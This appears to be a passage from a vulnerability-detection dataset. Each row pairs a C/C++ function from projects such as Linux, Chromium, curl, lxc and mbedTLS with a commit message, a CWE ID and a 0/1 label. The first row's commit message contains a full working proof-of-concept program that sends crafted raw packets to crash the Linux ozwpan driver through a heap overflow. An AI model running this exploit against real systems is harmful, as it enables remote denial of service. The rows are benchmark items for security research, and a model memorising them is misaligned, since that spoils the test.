Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void oz_free_urb_link(struct oz_urb_link *urbl)
{
if (!urbl)
return;
kmem_cache_free(oz_urb_link_cache, urbl);
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <[email protected]>
Acked-by: Dan Carpenter <[email protected]>
Cc: stable <[email protected]>
Signed-off-by: Greg Kroah-Hartman <[email protected]>
CWE ID: CWE-189 | 0 | 43,170 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool venc_dev::venc_set_config(void *configData, OMX_INDEXTYPE index)
{
DEBUG_PRINT_LOW("Inside venc_set_config");
switch ((int)index) {
case OMX_IndexConfigVideoBitrate:
{
OMX_VIDEO_CONFIG_BITRATETYPE *bit_rate = (OMX_VIDEO_CONFIG_BITRATETYPE *)
configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_IndexConfigVideoBitrate");
if (bit_rate->nPortIndex == (OMX_U32)PORT_INDEX_OUT) {
if (venc_set_target_bitrate(bit_rate->nEncodeBitrate, 1) == false) {
DEBUG_PRINT_ERROR("ERROR: Setting Target Bit rate failed");
return false;
}
} else {
DEBUG_PRINT_ERROR("ERROR: Invalid Port Index for OMX_IndexConfigVideoBitrate");
}
break;
}
case OMX_IndexConfigVideoFramerate:
{
OMX_CONFIG_FRAMERATETYPE *frame_rate = (OMX_CONFIG_FRAMERATETYPE *)
configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_IndexConfigVideoFramerate");
if (frame_rate->nPortIndex == (OMX_U32)PORT_INDEX_OUT) {
if (venc_set_encode_framerate(frame_rate->xEncodeFramerate, 1) == false) {
DEBUG_PRINT_ERROR("ERROR: Setting Encode Framerate failed");
return false;
}
} else {
DEBUG_PRINT_ERROR("ERROR: Invalid Port Index for OMX_IndexConfigVideoFramerate");
}
break;
}
case QOMX_IndexConfigVideoIntraperiod:
{
DEBUG_PRINT_LOW("venc_set_param:QOMX_IndexConfigVideoIntraperiod");
QOMX_VIDEO_INTRAPERIODTYPE *intraperiod =
(QOMX_VIDEO_INTRAPERIODTYPE *)configData;
if (intraperiod->nPortIndex == (OMX_U32) PORT_INDEX_OUT) {
if (venc_set_intra_period(intraperiod->nPFrames, intraperiod->nBFrames) == false) {
DEBUG_PRINT_ERROR("ERROR: Request for setting intra period failed");
return false;
}
}
break;
}
case OMX_IndexConfigVideoIntraVOPRefresh:
{
OMX_CONFIG_INTRAREFRESHVOPTYPE *intra_vop_refresh = (OMX_CONFIG_INTRAREFRESHVOPTYPE *)
configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_IndexConfigVideoIntraVOPRefresh");
if (intra_vop_refresh->nPortIndex == (OMX_U32)PORT_INDEX_OUT) {
if (venc_set_intra_vop_refresh(intra_vop_refresh->IntraRefreshVOP) == false) {
DEBUG_PRINT_ERROR("ERROR: Setting Encode Framerate failed");
return false;
}
} else {
DEBUG_PRINT_ERROR("ERROR: Invalid Port Index for OMX_IndexConfigVideoFramerate");
}
break;
}
case OMX_IndexConfigCommonRotate:
{
OMX_CONFIG_ROTATIONTYPE *config_rotation =
reinterpret_cast<OMX_CONFIG_ROTATIONTYPE*>(configData);
OMX_U32 nFrameWidth;
if (!config_rotation) {
return false;
}
if (true == deinterlace_enabled) {
DEBUG_PRINT_ERROR("ERROR: Rotation is not supported with deinterlacing");
return false;
}
DEBUG_PRINT_HIGH("venc_set_config: updating the new Dims");
nFrameWidth = m_sVenc_cfg.dvs_width;
m_sVenc_cfg.dvs_width = m_sVenc_cfg.dvs_height;
m_sVenc_cfg.dvs_height = nFrameWidth;
if(venc_set_vpe_rotation(config_rotation->nRotation) == false) {
DEBUG_PRINT_ERROR("ERROR: Dimension Change for Rotation failed");
return false;
}
break;
}
case OMX_IndexConfigVideoAVCIntraPeriod:
{
OMX_VIDEO_CONFIG_AVCINTRAPERIOD *avc_iperiod = (OMX_VIDEO_CONFIG_AVCINTRAPERIOD*) configData;
DEBUG_PRINT_LOW("venc_set_param: OMX_IndexConfigVideoAVCIntraPeriod");
if (venc_set_idr_period(avc_iperiod->nPFrames, avc_iperiod->nIDRPeriod)
== false) {
DEBUG_PRINT_ERROR("ERROR: Setting "
"OMX_IndexConfigVideoAVCIntraPeriod failed");
return false;
}
break;
}
case OMX_IndexConfigCommonDeinterlace:
{
OMX_VIDEO_CONFIG_DEINTERLACE *deinterlace = (OMX_VIDEO_CONFIG_DEINTERLACE *) configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_IndexConfigCommonDeinterlace");
if(deinterlace->nPortIndex == (OMX_U32)PORT_INDEX_OUT) {
if (m_sVenc_cfg.dvs_width == m_sVenc_cfg.input_height &&
m_sVenc_cfg.dvs_height == m_sVenc_cfg.input_width)
{
DEBUG_PRINT_ERROR("ERROR: Deinterlace not supported with rotation");
return false;
}
if(venc_set_deinterlace(deinterlace->nEnable) == false) {
DEBUG_PRINT_ERROR("ERROR: Setting Deinterlace failed");
return false;
}
} else {
DEBUG_PRINT_ERROR("ERROR: Invalid Port Index for OMX_IndexConfigCommonDeinterlace");
}
break;
}
case OMX_IndexConfigVideoVp8ReferenceFrame:
{
OMX_VIDEO_VP8REFERENCEFRAMETYPE* vp8refframe = (OMX_VIDEO_VP8REFERENCEFRAMETYPE*) configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_IndexConfigVideoVp8ReferenceFrame");
if ((vp8refframe->nPortIndex == (OMX_U32)PORT_INDEX_IN) &&
(vp8refframe->bUseGoldenFrame)) {
if(venc_set_useltr(0x1) == false) {
DEBUG_PRINT_ERROR("ERROR: use goldenframe failed");
return false;
}
} else if((vp8refframe->nPortIndex == (OMX_U32)PORT_INDEX_IN) &&
(vp8refframe->bGoldenFrameRefresh)) {
if(venc_set_markltr(0x1) == false) {
DEBUG_PRINT_ERROR("ERROR: Setting goldenframe failed");
return false;
}
} else {
DEBUG_PRINT_ERROR("ERROR: Invalid Port Index for OMX_IndexConfigVideoVp8ReferenceFrame");
}
break;
}
case OMX_QcomIndexConfigVideoLTRUse:
{
OMX_QCOM_VIDEO_CONFIG_LTRUSE_TYPE* pParam = (OMX_QCOM_VIDEO_CONFIG_LTRUSE_TYPE*)configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_QcomIndexConfigVideoLTRUse");
if (pParam->nPortIndex == (OMX_U32)PORT_INDEX_IN) {
if (venc_set_useltr(pParam->nID) == false) {
DEBUG_PRINT_ERROR("ERROR: Use LTR failed");
return false;
}
} else {
DEBUG_PRINT_ERROR("ERROR: Invalid Port Index for OMX_QcomIndexConfigVideoLTRUse");
}
break;
}
case OMX_QcomIndexConfigVideoLTRMark:
{
OMX_QCOM_VIDEO_CONFIG_LTRMARK_TYPE* pParam = (OMX_QCOM_VIDEO_CONFIG_LTRMARK_TYPE*)configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_QcomIndexConfigVideoLTRMark");
if (pParam->nPortIndex == (OMX_U32)PORT_INDEX_IN) {
if (venc_set_markltr(pParam->nID) == false) {
DEBUG_PRINT_ERROR("ERROR: Mark LTR failed");
return false;
}
} else {
DEBUG_PRINT_ERROR("ERROR: Invalid Port Index for OMX_QcomIndexConfigVideoLTRMark");
}
break;
}
case OMX_QcomIndexConfigPerfLevel:
{
OMX_QCOM_VIDEO_CONFIG_PERF_LEVEL *perf =
(OMX_QCOM_VIDEO_CONFIG_PERF_LEVEL *)configData;
DEBUG_PRINT_LOW("Set perf level: %d", perf->ePerfLevel);
if (!venc_set_perf_level(perf->ePerfLevel)) {
DEBUG_PRINT_ERROR("ERROR: Failed to set perf level to %d", perf->ePerfLevel);
return false;
} else {
performance_level.perflevel = (unsigned int) perf->ePerfLevel;
}
break;
}
case OMX_QcomIndexConfigVideoVencPerfMode:
{
QOMX_EXTNINDEX_VIDEO_PERFMODE *pParam = (QOMX_EXTNINDEX_VIDEO_PERFMODE *) configData;
DEBUG_PRINT_LOW("venc_set_config: OMX_QcomIndexConfigVideoVencPerfMode");
if (venc_set_perf_mode(pParam->nPerfMode) == false) {
DEBUG_PRINT_ERROR("Failed to set V4L2_CID_MPEG_VIDC_VIDEO_PERF_MODE");
return false;
}
break;
}
case OMX_IndexConfigPriority:
{
OMX_PARAM_U32TYPE *priority = (OMX_PARAM_U32TYPE *)configData;
DEBUG_PRINT_LOW("Set_config: priority %u",priority->nU32);
if (!venc_set_session_priority(priority->nU32)) {
DEBUG_PRINT_ERROR("Failed to set priority");
return false;
}
break;
}
case OMX_IndexConfigOperatingRate:
{
OMX_PARAM_U32TYPE *rate = (OMX_PARAM_U32TYPE *)configData;
DEBUG_PRINT_LOW("Set_config: operating rate %d", rate->nU32);
if (!venc_set_operatingrate(rate->nU32)) {
DEBUG_PRINT_ERROR("Failed to set operating rate");
return false;
}
break;
}
default:
DEBUG_PRINT_ERROR("Unsupported config index = %u", index);
break;
}
return true;
}
Commit Message: DO NOT MERGE mm-video-v4l2: venc: add checks before accessing heap pointers
Heap pointers do not point to user virtual addresses in case
of secure session.
Set them to NULL and add checks to avoid accesing them
Bug: 28815329
Bug: 28920116
Change-Id: I94fd5808e753b58654d65e175d3857ef46ffba26
CWE ID: CWE-200 | 0 | 159,281 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void RenderFrameImpl::DispatchLoad() {
Send(new FrameHostMsg_DispatchLoad(routing_id_));
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <[email protected]>
Reviewed-by: Daniel Cheng <[email protected]>
Reviewed-by: Camille Lamy <[email protected]>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416 | 0 | 139,619 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int detect_shared_rootfs(void)
{
char buf[LINELEN], *p;
FILE *f;
int i;
char *p2;
f = fopen("/proc/self/mountinfo", "r");
if (!f)
return 0;
while (fgets(buf, LINELEN, f)) {
for (p = buf, i=0; p && i < 4; i++)
p = strchr(p+1, ' ');
if (!p)
continue;
p2 = strchr(p+1, ' ');
if (!p2)
continue;
*p2 = '\0';
if (strcmp(p+1, "/") == 0) {
p = strchr(p2+1, ' ');
if (p && strstr(p, "shared:")) {
fclose(f);
return 1;
}
}
}
fclose(f);
return 0;
}
Commit Message: CVE-2015-1335: Protect container mounts against symlinks
When a container starts up, lxc sets up the container's inital fstree
by doing a bunch of mounting, guided by the container configuration
file. The container config is owned by the admin or user on the host,
so we do not try to guard against bad entries. However, since the
mount target is in the container, it's possible that the container admin
could divert the mount with symbolic links. This could bypass proper
container startup (i.e. confinement of a root-owned container by the
restrictive apparmor policy, by diverting the required write to
/proc/self/attr/current), or bypass the (path-based) apparmor policy
by diverting, say, /proc to /mnt in the container.
To prevent this,
1. do not allow mounts to paths containing symbolic links
2. do not allow bind mounts from relative paths containing symbolic
links.
Details:
Define safe_mount which ensures that the container has not inserted any
symbolic links into any mount targets for mounts to be done during
container setup.
The host's mount path may contain symbolic links. As it is under the
control of the administrator, that's ok. So safe_mount begins the check
for symbolic links after the rootfs->mount, by opening that directory.
It opens each directory along the path using openat() relative to the
parent directory using O_NOFOLLOW. When the target is reached, it
mounts onto /proc/self/fd/<targetfd>.
Use safe_mount() in mount_entry(), when mounting container proc,
and when needed. In particular, safe_mount() need not be used in
any case where:
1. the mount is done in the container's namespace
2. the mount is for the container's rootfs
3. the mount is relative to a tmpfs or proc/sysfs which we have
just safe_mount()ed ourselves
Since we were using proc/net as a temporary placeholder for /proc/sys/net
during container startup, and proc/net is a symbolic link, use proc/tty
instead.
Update the lxc.container.conf manpage with details about the new
restrictions.
Finally, add a testcase to test some symbolic link possibilities.
Reported-by: Roman Fiedler
Signed-off-by: Serge Hallyn <[email protected]>
Acked-by: Stéphane Graber <[email protected]>
CWE ID: CWE-59 | 0 | 44,669 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: CURLcode Curl_nss_force_init(struct Curl_easy *data)
{
CURLcode result;
if(!nss_initlock) {
if(data)
failf(data, "unable to initialize NSS, curl_global_init() should have "
"been called with CURL_GLOBAL_SSL or CURL_GLOBAL_ALL");
return CURLE_FAILED_INIT;
}
PR_Lock(nss_initlock);
result = nss_init(data);
PR_Unlock(nss_initlock);
return result;
}
Commit Message: nss: refuse previously loaded certificate from file
... when we are not asked to use a certificate from file
CWE ID: CWE-287 | 0 | 50,074 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: cpio_rename(const char *name)
{
static char buff[1024];
FILE *t;
char *p, *ret;
#if defined(_WIN32) && !defined(__CYGWIN__)
FILE *to;
t = fopen("CONIN$", "r");
if (t == NULL)
return (name);
to = fopen("CONOUT$", "w");
if (to == NULL) {
fclose(t);
return (name);
}
fprintf(to, "%s (Enter/./(new name))? ", name);
fclose(to);
#else
t = fopen("/dev/tty", "r+");
if (t == NULL)
return (name);
fprintf(t, "%s (Enter/./(new name))? ", name);
fflush(t);
#endif
p = fgets(buff, sizeof(buff), t);
fclose(t);
if (p == NULL)
/* End-of-file is a blank line. */
return (NULL);
while (*p == ' ' || *p == '\t')
++p;
if (*p == '\n' || *p == '\0')
/* Empty line. */
return (NULL);
if (*p == '.' && p[1] == '\n')
/* Single period preserves original name. */
return (name);
ret = p;
/* Trim the final newline. */
while (*p != '\0' && *p != '\n')
++p;
/* Overwrite the final \n with a null character. */
*p = '\0';
return (ret);
}
Commit Message: Add ARCHIVE_EXTRACT_SECURE_NOABSOLUTEPATHS option
This fixes a directory traversal in the cpio tool.
CWE ID: CWE-22 | 0 | 43,865 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: LookupModMask(struct xkb_context *ctx, const void *priv, xkb_atom_t field,
enum expr_value_type type, xkb_mod_mask_t *val_rtrn)
{
const char *str;
xkb_mod_index_t ndx;
const LookupModMaskPriv *arg = priv;
const struct xkb_mod_set *mods = arg->mods;
enum mod_type mod_type = arg->mod_type;
if (type != EXPR_TYPE_INT)
return false;
str = xkb_atom_text(ctx, field);
if (istreq(str, "all")) {
*val_rtrn = MOD_REAL_MASK_ALL;
return true;
}
if (istreq(str, "none")) {
*val_rtrn = 0;
return true;
}
ndx = XkbModNameToIndex(mods, field, mod_type);
if (ndx == XKB_MOD_INVALID)
return false;
*val_rtrn = (1u << ndx);
return true;
}
Commit Message: xkbcomp: fix stack overflow when evaluating boolean negation
The expression evaluator would go into an infinite recursion when
evaluating something like this as a boolean: `!True`. Instead of
recursing to just `True` and negating, it recursed to `!True` itself
again.
Bug inherited from xkbcomp.
Caught with the afl fuzzer.
Signed-off-by: Ran Benita <[email protected]>
CWE ID: CWE-400 | 0 | 79,030 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: _run_epilog(job_env_t *job_env)
{
time_t start_time = time(NULL);
static uint16_t msg_timeout = 0;
static uint16_t timeout;
int error_code, diff_time;
char *my_epilog;
char **my_env = _build_env(job_env);
if (msg_timeout == 0)
msg_timeout = slurm_get_msg_timeout();
if (timeout == 0)
timeout = slurm_get_prolog_timeout();
slurm_mutex_lock(&conf->config_mutex);
my_epilog = xstrdup(conf->epilog);
slurm_mutex_unlock(&conf->config_mutex);
_wait_for_job_running_prolog(job_env->jobid);
if (timeout == (uint16_t)NO_VAL)
error_code = _run_job_script("epilog", my_epilog, job_env->jobid,
-1, my_env, job_env->uid);
else
error_code = _run_job_script("epilog", my_epilog, job_env->jobid,
timeout, my_env, job_env->uid);
xfree(my_epilog);
_destroy_env(my_env);
diff_time = difftime(time(NULL), start_time);
if (diff_time >= (msg_timeout / 2)) {
info("epilog for job %u ran for %d seconds",
job_env->jobid, diff_time);
}
return error_code;
}
Commit Message: Fix security issue in _prolog_error().
Fix security issue caused by insecure file path handling triggered by
the failure of a Prolog script. To exploit this a user needs to
anticipate or cause the Prolog to fail for their job.
(This commit is slightly different from the fix to the 15.08 branch.)
CVE-2016-10030.
CWE ID: CWE-284 | 0 | 72,138 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void atl2_check_for_link(struct atl2_adapter *adapter)
{
struct net_device *netdev = adapter->netdev;
u16 phy_data = 0;
spin_lock(&adapter->stats_lock);
atl2_read_phy_reg(&adapter->hw, MII_BMSR, &phy_data);
atl2_read_phy_reg(&adapter->hw, MII_BMSR, &phy_data);
spin_unlock(&adapter->stats_lock);
/* notify upper layer link down ASAP */
if (!(phy_data & BMSR_LSTATUS)) { /* Link Down */
if (netif_carrier_ok(netdev)) { /* old link state: Up */
printk(KERN_INFO "%s: %s NIC Link is Down\n",
atl2_driver_name, netdev->name);
adapter->link_speed = SPEED_0;
netif_carrier_off(netdev);
netif_stop_queue(netdev);
}
}
schedule_work(&adapter->link_chg_task);
}
Commit Message: atl2: Disable unimplemented scatter/gather feature
atl2 includes NETIF_F_SG in hw_features even though it has no support
for non-linear skbs. This bug was originally harmless since the
driver does not claim to implement checksum offload and that used to
be a requirement for SG.
Now that SG and checksum offload are independent features, if you
explicitly enable SG *and* use one of the rare protocols that can use
SG without checkusm offload, this potentially leaks sensitive
information (before you notice that it just isn't working). Therefore
this obscure bug has been designated CVE-2016-2117.
Reported-by: Justin Yackoski <[email protected]>
Signed-off-by: Ben Hutchings <[email protected]>
Fixes: ec5f06156423 ("net: Kill link between CSUM and SG features.")
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-200 | 0 | 55,284 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int ecp_double_add_mxz( const mbedtls_ecp_group *grp,
mbedtls_ecp_point *R, mbedtls_ecp_point *S,
const mbedtls_ecp_point *P, const mbedtls_ecp_point *Q,
const mbedtls_mpi *d )
{
int ret;
mbedtls_mpi A, AA, B, BB, E, C, D, DA, CB;
#if defined(MBEDTLS_ECP_DOUBLE_ADD_MXZ_ALT)
if ( mbedtls_internal_ecp_grp_capable( grp ) )
{
return mbedtls_internal_ecp_double_add_mxz( grp, R, S, P, Q, d );
}
#endif /* MBEDTLS_ECP_DOUBLE_ADD_MXZ_ALT */
mbedtls_mpi_init( &A ); mbedtls_mpi_init( &AA ); mbedtls_mpi_init( &B );
mbedtls_mpi_init( &BB ); mbedtls_mpi_init( &E ); mbedtls_mpi_init( &C );
mbedtls_mpi_init( &D ); mbedtls_mpi_init( &DA ); mbedtls_mpi_init( &CB );
MBEDTLS_MPI_CHK( mbedtls_mpi_add_mpi( &A, &P->X, &P->Z ) ); MOD_ADD( A );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &AA, &A, &A ) ); MOD_MUL( AA );
MBEDTLS_MPI_CHK( mbedtls_mpi_sub_mpi( &B, &P->X, &P->Z ) ); MOD_SUB( B );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &BB, &B, &B ) ); MOD_MUL( BB );
MBEDTLS_MPI_CHK( mbedtls_mpi_sub_mpi( &E, &AA, &BB ) ); MOD_SUB( E );
MBEDTLS_MPI_CHK( mbedtls_mpi_add_mpi( &C, &Q->X, &Q->Z ) ); MOD_ADD( C );
MBEDTLS_MPI_CHK( mbedtls_mpi_sub_mpi( &D, &Q->X, &Q->Z ) ); MOD_SUB( D );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &DA, &D, &A ) ); MOD_MUL( DA );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &CB, &C, &B ) ); MOD_MUL( CB );
MBEDTLS_MPI_CHK( mbedtls_mpi_add_mpi( &S->X, &DA, &CB ) ); MOD_MUL( S->X );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &S->X, &S->X, &S->X ) ); MOD_MUL( S->X );
MBEDTLS_MPI_CHK( mbedtls_mpi_sub_mpi( &S->Z, &DA, &CB ) ); MOD_SUB( S->Z );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &S->Z, &S->Z, &S->Z ) ); MOD_MUL( S->Z );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &S->Z, d, &S->Z ) ); MOD_MUL( S->Z );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &R->X, &AA, &BB ) ); MOD_MUL( R->X );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &R->Z, &grp->A, &E ) ); MOD_MUL( R->Z );
MBEDTLS_MPI_CHK( mbedtls_mpi_add_mpi( &R->Z, &BB, &R->Z ) ); MOD_ADD( R->Z );
MBEDTLS_MPI_CHK( mbedtls_mpi_mul_mpi( &R->Z, &E, &R->Z ) ); MOD_MUL( R->Z );
cleanup:
mbedtls_mpi_free( &A ); mbedtls_mpi_free( &AA ); mbedtls_mpi_free( &B );
mbedtls_mpi_free( &BB ); mbedtls_mpi_free( &E ); mbedtls_mpi_free( &C );
mbedtls_mpi_free( &D ); mbedtls_mpi_free( &DA ); mbedtls_mpi_free( &CB );
return( ret );
}
Commit Message: Merge remote-tracking branch 'upstream-restricted/pr/549' into mbedtls-2.7-restricted
CWE ID: CWE-200 | 0 | 96,547 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void vmcs12_save_pending_event(struct kvm_vcpu *vcpu,
struct vmcs12 *vmcs12)
{
u32 idt_vectoring;
unsigned int nr;
if (vcpu->arch.exception.injected) {
nr = vcpu->arch.exception.nr;
idt_vectoring = nr | VECTORING_INFO_VALID_MASK;
if (kvm_exception_is_soft(nr)) {
vmcs12->vm_exit_instruction_len =
vcpu->arch.event_exit_inst_len;
idt_vectoring |= INTR_TYPE_SOFT_EXCEPTION;
} else
idt_vectoring |= INTR_TYPE_HARD_EXCEPTION;
if (vcpu->arch.exception.has_error_code) {
idt_vectoring |= VECTORING_INFO_DELIVER_CODE_MASK;
vmcs12->idt_vectoring_error_code =
vcpu->arch.exception.error_code;
}
vmcs12->idt_vectoring_info_field = idt_vectoring;
} else if (vcpu->arch.nmi_injected) {
vmcs12->idt_vectoring_info_field =
INTR_TYPE_NMI_INTR | INTR_INFO_VALID_MASK | NMI_VECTOR;
} else if (vcpu->arch.interrupt.pending) {
nr = vcpu->arch.interrupt.nr;
idt_vectoring = nr | VECTORING_INFO_VALID_MASK;
if (vcpu->arch.interrupt.soft) {
idt_vectoring |= INTR_TYPE_SOFT_INTR;
vmcs12->vm_entry_instruction_len =
vcpu->arch.event_exit_inst_len;
} else
idt_vectoring |= INTR_TYPE_EXT_INTR;
vmcs12->idt_vectoring_info_field = idt_vectoring;
}
}
Commit Message: kvm: nVMX: Don't allow L2 to access the hardware CR8
If L1 does not specify the "use TPR shadow" VM-execution control in
vmcs12, then L0 must specify the "CR8-load exiting" and "CR8-store
exiting" VM-execution controls in vmcs02. Failure to do so will give
the L2 VM unrestricted read/write access to the hardware CR8.
This fixes CVE-2017-12154.
Signed-off-by: Jim Mattson <[email protected]>
Reviewed-by: David Hildenbrand <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]>
CWE ID: | 0 | 63,024 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void ReadBlobFloatsLSB(Image * image, size_t len, float *data)
{
while (len >= 4)
{
*data++ = ReadBlobFloat(image);
len -= sizeof(float);
}
if (len > 0)
(void) SeekBlob(image, len, SEEK_CUR);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/598
CWE ID: CWE-617 | 0 | 62,090 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: daemon_msg_stats_req(uint8 ver, struct daemon_slpars *pars,
struct session *session, uint32 plen, struct pcap_stat *stats,
unsigned int svrcapt)
{
char errbuf[PCAP_ERRBUF_SIZE]; // buffer for network errors
char errmsgbuf[PCAP_ERRBUF_SIZE]; // buffer for errors to send to the client
char sendbuf[RPCAP_NETBUF_SIZE]; // temporary buffer in which data to be sent is buffered
int sendbufidx = 0; // index which keeps the number of bytes currently buffered
struct rpcap_stats *netstats; // statistics sent on the network
if (rpcapd_discard(pars->sockctrl, plen) == -1)
{
return -1;
}
if (sock_bufferize(NULL, sizeof(struct rpcap_header), NULL,
